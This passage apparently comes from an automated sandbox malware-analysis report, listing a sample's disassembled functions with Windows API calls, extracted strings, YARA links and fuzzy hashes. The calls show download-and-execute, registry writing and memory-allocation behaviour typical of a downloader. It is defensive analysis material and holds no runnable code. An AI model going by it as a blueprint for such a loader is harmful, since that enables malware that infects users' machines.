InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 00401905
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 00401924

Strings

text, xrefs: 00401B5C

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: 87aac4e3b5ff56ab0de5e0ee71ca196cf257f89e2ae9c22cdb46c2756a6c72d5
Instruction ID: 86dcce6fdabdf1d76a3839b2d4c7acaf7fb3a9f1032210a7d38a4a94718e3fd4
Opcode Fuzzy Hash: 87aac4e3b5ff56ab0de5e0ee71ca196cf257f89e2ae9c22cdb46c2756a6c72d5
Instruction Fuzzy Hash: 7AC16B71A002189FEB25CF24CD85BEAB7B9FF48304F1041ADE509A76A1DB75AE84CF54

Function 0040EF0D Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0040EF0C,00000000,7622DF80,?,00000000,?,004114AD), ref: 0040EF2F
TerminateProcess.KERNEL32(00000000,?,0040EF0C,00000000,7622DF80,?,00000000,?,004114AD), ref: 0040EF36
ExitProcess.KERNEL32 ref: 0040EF48

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction ID: d9b2d8b9480fbdfc0f40d30fbcce2ac7d268d3ffe56ae59340c1a79faed9bf6b
Opcode Fuzzy Hash: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction Fuzzy Hash: 48E08C71400108BFCF117F26CC0898A3F28FB10341B004835F804AA232CB39DD92CB58

Function 00D09F8E Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00D09FB6
Module32First.KERNEL32(00000000,00000224), ref: 00D09FD6

Memory Dump Source

Source File: 00000002.00000002.3243263415.0000000000D09000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D09000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d09000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: bf94eabbbf420365d0b220c6437532e8a16aeb27203495fb634f933627d1d335
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 00F0F6312007116BE7203BF89C8CBAEFAE8AF48324F140128F64AD10C1CB70EC454A70

Function 00408020 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

mixtwo, xrefs: 0040805C
emp, xrefs: 00408037

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: Sleep
String ID: emp$mixtwo
API String ID: 3472027048-2390925073
Opcode ID: 7c8f0e1ea6e5323602f9bb77927d34118e87d89025315e812fc220ab57e9b21a
Instruction ID: 72a2dd17e89226f8ccca0b0bb08db3f26db736a0bfe45ababc36bb360cb4900e
Opcode Fuzzy Hash: 7c8f0e1ea6e5323602f9bb77927d34118e87d89025315e812fc220ab57e9b21a
Instruction Fuzzy Hash: 7BF08CB160130457E710BF24ED1B71A3EA4970275CFA006ADDC601F2D2E7FB821A97EA

Function 004055C0 Relevance: 27.3, APIs: 5, Strings: 10, Instructions: 1092
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,?,7712D120), ref: 00405620
__Init_thread_footer.LIBCMT ref: 00405847
Sleep.KERNEL32(00000BB8,00000000,?,0042B77C,0042B92C,0042B92D,?,?,?,?,?,?,?,00000001,SUB=,00000004), ref: 00405A4A

Part of subcall function 00406550: __Init_thread_footer.LIBCMT ref: 004065B9

Part of subcall function 004065E0: __Init_thread_footer.LIBCMT ref: 0040663A

Part of subcall function 00407C30: __Init_thread_footer.LIBCMT ref: 00407C99

Part of subcall function 00407BB0: __Init_thread_footer.LIBCMT ref: 00407C09

Part of subcall function 00407B10: __Init_thread_footer.LIBCMT ref: 00407B8D

Sleep.KERNEL32(00000BB8,00000000,?,?,?,?,?,004272E8,00000000,00000000,?,00000000,00000001,SUB=,00000004), ref: 004062DE
Sleep.KERNEL32(00000BB8,00000000,00000000,004272E8), ref: 004063DD

Part of subcall function 00407FA0: __Init_thread_footer.LIBCMT ref: 00407FF9

Part of subcall function 00407F20: __Init_thread_footer.LIBCMT ref: 00407F79

Part of subcall function 00407EC0: __Init_thread_footer.LIBCMT ref: 00407F11

Part of subcall function 004055C0: RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405493
Part of subcall function 004055C0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 004054B5
Part of subcall function 004055C0: RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 004054DD
Part of subcall function 004055C0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004054E6

Strings

SUB=, xrefs: 00405632
get, xrefs: 0040575C
]DFE, xrefs: 0040428D
KDOX, xrefs: 00404541
mixone, xrefs: 00405ADF
updateSW, xrefs: 004051E8
DFEK, xrefs: 00404EDC
^OX*, xrefs: 004046E8
Q)9, xrefs: 004056F8
viFO, xrefs: 00404537

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: Init_thread_footer$Sleep$CloseCreateOpenValue
String ID: DFEK$KDOX$Q)9$SUB=$]DFE$^OX*$get$mixone$updateSW$viFO
API String ID: 2078494684-1136066708
Opcode ID: 6cc127e7e3ac2c726d6a27f0abac17a1d82dad36900cdcac998fe1a0d29d4f20
Instruction ID: f649a411d8851b1a91c0a488fce11130e3673d7bad0c40fe0d5f826dd2b8960c
Opcode Fuzzy Hash: 6cc127e7e3ac2c726d6a27f0abac17a1d82dad36900cdcac998fe1a0d29d4f20
Instruction Fuzzy Hash: 3F82AF71D001049ADB14FBB5C95ABEEB3789F14308F5081BEF412771D2EF786A49CAA9

Function 10001523 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 192
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000152A
__cftof.LIBCMT ref: 10001624
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 1000163D
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001660
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,00000001), ref: 10001680
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,80400000,00000001), ref: 100016B0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100016C9
InternetCloseHandle.WININET(00000000), ref: 100016E0
InternetCloseHandle.WININET(00000000), ref: 100016E3
InternetCloseHandle.WININET(00000000), ref: 100016E9

Strings

http://, xrefs: 10001567
GET, xrefs: 100016AA

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSend__cftof
String ID: GET$http://
API String ID: 1233269984-1632879366
Opcode ID: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction ID: 7cfd31fe4164df5669dc4f011f358c4066a4bf273ac9d15a63e71752a24e0b34
Opcode Fuzzy Hash: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction Fuzzy Hash: D5518F75E01618EBEB11CBE4CC85EEEB7B9EF48340F508114FA11BB189D7B49A45CBA0

Function 00401740 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 103
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017B7
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017DD

Part of subcall function 00402470: Concurrency::cancel_current_task.LIBCPMT ref: 004025A3

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401803
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401829

Strings

Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 00401807
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401779
GET, xrefs: 00401F81
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 004017E1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 004017BB
text, xrefs: 00401B5C

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$text
API String ID: 2146599340-3782612381
Opcode ID: 15361f417402fd4ecc7fc6d3c75552e14ddd1825e06757481bbfd3e0326afcfa
Instruction ID: 9ba0ec624b0ce2a87a65cb7bdca14d25b7083be08071b54b776f69b68f7f070f
Opcode Fuzzy Hash: 15361f417402fd4ecc7fc6d3c75552e14ddd1825e06757481bbfd3e0326afcfa
Instruction Fuzzy Hash: 34316171E00108EBDB14DFA9DC85FEEBBB9EB48714F60812AE121771C0C778A644CBA5

Function 04B5003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04B5024D

Strings

kernel32.dll, xrefs: 04B5008F, 04B50095
cess, xrefs: 04B5018D

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 396920cd1cc17b7f9a719df89174d27e3b796f5da06276b071d7e00186d60338
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: C6526A74A01229DFDB64DF58C985BACBBB1BF09304F1480D9E94DAB361DB30AA85DF14

Function 10001175 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 264
networkcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000117F
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 100011DD
InternetReadFile.WININET(?,?,000003E8,?), ref: 100011FB
HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 10001298
CoCreateInstance.OLE32(?,00000000,00000001,100111B0,?), ref: 100012CA

Strings

text, xrefs: 10001327

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: FileInternet$CreateH_prolog3_HttpInfoInstancePointerQueryRead
String ID: text
API String ID: 1154000607-999008199
Opcode ID: a1e379d679c24b6df6bb2eefa12ec4263e14a704e2d288e5f5fa36855e8b81ad
Instruction ID: b002d723a568eb8b1b2c33cfea8b8604ab2d7fe63d6740fb25dc42610badb9b0
Opcode Fuzzy Hash: a1e379d679c24b6df6bb2eefa12ec4263e14a704e2d288e5f5fa36855e8b81ad
Instruction Fuzzy Hash: 62B14975900229AFEB65CF24CC85BDAB7B8FF09355F1041D9E508A7265DB70AE80CF90

Function 10001F20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10005956: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10001F48,00000000), ref: 10005969
Part of subcall function 10005956: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000599A

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1000212B
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 10002155

Strings

open, xrefs: 1000214F
.exe, xrefs: 1000206B

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: Time$CreateExecuteFileProcessShellSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: .exe$open
API String ID: 1627157292-49952409
Opcode ID: e7d307bd9b08359f9d4fa667b823f6c82abf28f5e9ce0c80c34beec9c79a4aa9
Instruction ID: 97952a91a625a221cb26b3956644a393a6e3da00256d77b8c5daa8cab0653b15
Opcode Fuzzy Hash: e7d307bd9b08359f9d4fa667b823f6c82abf28f5e9ce0c80c34beec9c79a4aa9
Instruction Fuzzy Hash: 40514B715083809BE724DF64C881EDFB7E8FB95394F004A2EF69986195DB70A944CB62

Function 00401D60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

http://, xrefs: 00401DE0

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: abedc0d90a1f4d3688eb9c4f017047df236718ab065654b8d82d4035641d8820
Instruction ID: beb1f9afae3dc46702148b7d116b1b3e2c798cd3d3ea86b197954d74152ad0ce
Opcode Fuzzy Hash: abedc0d90a1f4d3688eb9c4f017047df236718ab065654b8d82d4035641d8820
Instruction Fuzzy Hash: F451C371E002099FDB14CFA8C885BEEBBB5EF48314F20812EE915B72C1D7799945CBA4

Function 004020C0 Relevance: 4.6, APIs: 3, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 004020F6
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402117
CloseHandle.KERNEL32(00000000), ref: 0040211E

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 8b77efdb325a00ac37aead48d1dd076f0e9ed27c116024a8a8daefa345587264
Instruction ID: 54406537bc71ee86772d4e0f102f4040d02d69394e2def86726d8d124470bd26
Opcode Fuzzy Hash: 8b77efdb325a00ac37aead48d1dd076f0e9ed27c116024a8a8daefa345587264
Instruction Fuzzy Hash: 4401D671610204ABD720DF68DD49FEEB7A8EB48725F00053EFA45AA2D0DAB46945C758

Function 04D60DF1 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Strings

kZXP, xrefs: 04D60DFB

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID: kZXP
API String ID: 309727707-3040969424
Opcode ID: 5367e5781f27898fc4abadb03fb926aa3073168d8748d4ba4149bb9b9d03cd26
Instruction ID: 4cb25f8b5c3a4243d7355cdc278b17b454c812c3d321c109acbf3006de5ef219
Opcode Fuzzy Hash: 5367e5781f27898fc4abadb03fb926aa3073168d8748d4ba4149bb9b9d03cd26
Instruction Fuzzy Hash: F74160EB34C121BE7213C4966B54AFB6AAED5C6730331847BF887D6602F295DE4A3071

Function 04B50E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,04B50223,?,?), ref: 04B50E19
SetErrorMode.KERNEL32(00000000,?,?,04B50223,?,?), ref: 04B50E1E

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 4912d90d3747dd0a2895d6015fe2bffc848cfeb5036af8c0e2bdc930983e63eb
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 37D0123154512877D7003A94DC09BCDBB1CDF09B62F108451FB0DD9080C770954046E5

Function 04D60B1C Relevance: 1.9, APIs: 1, Instructions: 424COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: d029fe5742c6e6929c96f10ff7cb694de598cf2be4d3a8240a54d7c9954f1d59
Instruction ID: 6a4eb8034fae97567d4ae77f9bbdd753fbe7e5331a893d3279674b964565e746
Opcode Fuzzy Hash: d029fe5742c6e6929c96f10ff7cb694de598cf2be4d3a8240a54d7c9954f1d59
Instruction Fuzzy Hash: 548180EB34D121BE7213C1466B54AFB676EE5D6730331C42BF887D6642F294AE497031

Function 04D60B19 Relevance: 1.9, APIs: 1, Instructions: 424COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: f68eb2b4ce75b3010a1c6734cdaaf7f79f91165332d82c5d7df109ba0bde908a
Instruction ID: 69bb10aa51d2ec5b642c31b10138858697f311513c844f0d85aebf83ab2a521c
Opcode Fuzzy Hash: f68eb2b4ce75b3010a1c6734cdaaf7f79f91165332d82c5d7df109ba0bde908a
Instruction Fuzzy Hash: DF818FEB34D121BE7213C1866B54AFB676EE5D6730331C42BF887D6642F294AE4A7031

Function 04D60B26 Relevance: 1.9, APIs: 1, Instructions: 423COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 89e7f0eba84b7a7c2cf03746c97981041736cf2abd48ac2b60b5158fab3920fe
Instruction ID: 4c09390b0670af9f1221970c5d1f318ba1393579b6414eb9d92a9afd92b3d223
Opcode Fuzzy Hash: 89e7f0eba84b7a7c2cf03746c97981041736cf2abd48ac2b60b5158fab3920fe
Instruction Fuzzy Hash: 1D818CEB34D121BE7213C1466B54AFB67AEE5D6730331C42BF887D6602F294AE4A7031

Function 04D60B97 Relevance: 1.9, APIs: 1, Instructions: 413COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd12d5812b0569983b1ac302de2900ac04c8b71a0c2f12632e61985a7458da88
Instruction ID: 6cde9370863caef3e3b3d3179cbc9492f1ead9e24463503176dbdaba06a8b1b0
Opcode Fuzzy Hash: dd12d5812b0569983b1ac302de2900ac04c8b71a0c2f12632e61985a7458da88
Instruction Fuzzy Hash: BD81ADEB34D121BE7253C1466B54AFB67AEE5D6730331C42BF887D6602F294AE4A7031

Function 04D60B53 Relevance: 1.9, APIs: 1, Instructions: 398COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 39e0a67de4e17afee8e74834b38a8921b8ea8e4c0a7f7a770e0832bd0251941e
Instruction ID: 97c87533a7c8c625579ff488d5fb3d1a49aae9266a9310bd91a2887820a166e8
Opcode Fuzzy Hash: 39e0a67de4e17afee8e74834b38a8921b8ea8e4c0a7f7a770e0832bd0251941e
Instruction Fuzzy Hash: 75718EEB34D121BE7213C1866B54AFB66AEE5D6730331842BF887D6642F294EE497031

Function 04D60B79 Relevance: 1.9, APIs: 1, Instructions: 389COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: be7f12b25952d0fb82a49ed6b7970e1d3754d5f2b8ff1c573153b4317606952e
Instruction ID: 9be07007d8ec48bf7e7350107e1730f3c7e440b28be8c036ebfb0050c333fdbf
Opcode Fuzzy Hash: be7f12b25952d0fb82a49ed6b7970e1d3754d5f2b8ff1c573153b4317606952e
Instruction Fuzzy Hash: 9F71ADEB34D121BE7253C0462B54AFB67AEE5D6730331842BF887D6642F294EE4A7031

Function 04D60B6F Relevance: 1.9, APIs: 1, Instructions: 389COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: df9660c994ad3c5d12804de7d454fce7b6d1a70c7e9fcde498c4a6f5f8266a07
Instruction ID: 3e2f7b8f7796dc5a6cdbe00eef7c4a6793f7d8ded02233c0fed967bb795f5959
Opcode Fuzzy Hash: df9660c994ad3c5d12804de7d454fce7b6d1a70c7e9fcde498c4a6f5f8266a07
Instruction Fuzzy Hash: 6971AEEB34D121BE7253C1462B54AFB67AEE5D6730331842BF887D6602F294EE4A7031

Function 04D60BE8 Relevance: 1.9, APIs: 1, Instructions: 388COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d508029450202bd23ee0dbeff7456a3cdd0c49d4b1cd369e4962ab50d30e15b5
Instruction ID: 6800bccb2250151e7303b5527dcaf5ae3cfe13b18512458ec1876c15c18c6370
Opcode Fuzzy Hash: d508029450202bd23ee0dbeff7456a3cdd0c49d4b1cd369e4962ab50d30e15b5
Instruction Fuzzy Hash: F581C3EB34D121BE7213C1562B549FB6BAEE5D6730331843BF887D6602F294AA4A7031

Function 04D60BB0 Relevance: 1.9, APIs: 1, Instructions: 388COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
API String ID: 309727707-0
Opcode ID: 98463cfe96deed4c41f5905b12a5440b559a571a10fdecc5d38816f78c50771e
Instruction ID: 5da5d519496f2a249155b49c372944862fa317fe855a8ad2702e908ae4b45dcb
Opcode Fuzzy Hash: 98463cfe96deed4c41f5905b12a5440b559a571a10fdecc5d38816f78c50771e
Instruction Fuzzy Hash: 687190EB34D121BE7213C1466B54AFB67AEE5D6730331842BF887D6642F294EE4A7031

Function 04D60BD6 Relevance: 1.9, APIs: 1, Instructions: 370COMMON

Download Yara Rule

APIs

RtlUnicodeStringToAnsiString.NTDLL(?,00000070,00000001,?,00000030), ref: 04D6100A

Memory Dump Source

Source File: 00000002.00000002.3246222575.0000000004D60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4d60000_hvm4oOzDaX.jbxd

Similarity

API ID: String$AnsiUnicode
String ID:
